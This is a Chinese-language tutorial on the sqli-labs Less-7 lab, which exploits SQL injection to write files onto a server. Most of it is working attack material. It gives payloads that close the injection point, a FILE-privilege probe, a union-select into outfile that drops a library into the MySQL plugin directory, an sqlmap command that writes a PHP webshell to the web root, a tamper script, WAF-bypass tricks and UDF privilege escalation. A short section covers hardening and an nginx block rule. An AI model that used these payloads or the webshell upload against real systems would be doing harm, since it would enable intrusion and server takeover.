SQL注入实战:sqli-labs-Less-7文件导出技术解析
1. sqli-labs-Less-7自动化注入实战解析
Less-7是sqli-labs中经典的导出文件型注入关卡,标题为"Dump into outfile",需要利用SQL注入将数据导出到服务器文件系统。这个关卡的特殊性在于它要求攻击者不仅能够执行注入,还需要掌握文件导出权限和路径构造技巧。我在实际渗透测试中发现,许多安全工程师在这一关会卡壳,主要问题出在路径猜测和权限处理上。
2. 核心原理与技术拆解
2.1 Less-7的注入点特性分析
Less-7的源码关键片段如下:
$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";这里使用了双重括号包裹注入点,这种嵌套结构会破坏常规注入语句的执行。通过测试发现,闭合括号需要精确匹配:
?id=1'))--+才能正确闭合原始SQL语句。这种嵌套结构在真实企业系统中并不少见,特别是当开发人员过度使用防御性编码时。
2.2 文件导出条件深度剖析
要实现成功的导出文件注入,必须满足三个硬性条件:
- MySQL用户需具备FILE权限(通常root用户默认拥有)
- 知道服务器上的可写目录绝对路径
- secure_file_priv参数未设置为NULL
通过以下注入可以检查权限状态:
?id=1')) and (select count(*) from mysql.user where File_priv='Y')>0--+在实战中,我习惯先用这个语句确认环境可行性,避免做无用功。
3. 自动化注入方案实现
3.1 工具选型与技术路线
我推荐使用sqlmap配合自定义tamper脚本的方案,原因有三:
- 原生sqlmap对Less-7的括号嵌套处理不够智能
- 需要精确控制导出文件路径格式
- 需要绕过可能的WAF规则
基础命令结构:
sqlmap -u "http://target/Less-7?id=1" --technique=E --tamper=less7.py --file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php3.2 关键tamper脚本开发
创建less7.py处理特殊语法:
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): return "')) " + payload + " -- "这个脚本实现了:
- 自动补全右括号闭合
- 添加注释符避免语法错误
- 保持原始payload不变
3.3 路径爆破技术实现
当不知道web目录时,可以用以下方法爆破:
- 常见路径字典:
paths = [ '/var/www/html/', '/opt/lampp/htdocs/', '/usr/local/apache2/htdocs/' ]- 使用条件响应判断:
?id=1')) and (select if(load_file('/var/www/html/flag')=1,sleep(5),1))--+- 结合sqlmap的--search参数自动探测
4. 高级绕过技术与实战技巧
4.1 权限提升方案
当遇到非root用户时,可以尝试:
- UDF提权(需插件目录写权限)
- 日志文件写入
- 利用MySQL漏洞如CVE-2016-6662
典型payload:
?id=1')) union select 1,2,3 into outfile '/var/lib/mysql/plugin/exploit.so'--+4.2 防火墙绕过实践
针对Cloudflare等WAF,需要:
- 分块传输编码
- 注释混淆:
/*!50000select*/ 1 into outfile '/path'- 大小写随机化
5. 防御方案与检测方法
5.1 安全加固建议
开发层面应:
- 禁用FILE权限
REVOKE FILE ON *.* FROM 'webuser'@'localhost';- 配置my.cnf:
secure_file_priv = NULL- 使用预处理语句:
$stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $id);5.2 入侵检测规则
Nginx日志监控规则示例:
location ~* \.(php|sql)$ { if ($args ~* "into[\s+]+outfile") { return 403; access_log /var/log/nginx/sqli_block.log; } }6. 自动化工具链构建
我常用的自动化检测流程:
- 使用nmap扫描开放服务
nmap -sV --script=mysql-info target.com- 自动化注入测试框架
import subprocess def test_less7(url): cmd = f"sqlmap -u {url} --batch --tamper=less7" result = subprocess.run(cmd.split(), capture_output=True) return "file write successful" in result.stdout这种自动化方案在内部渗透测试中效率提升显著,单目标检测时间从平均15分钟缩短到2分钟以内。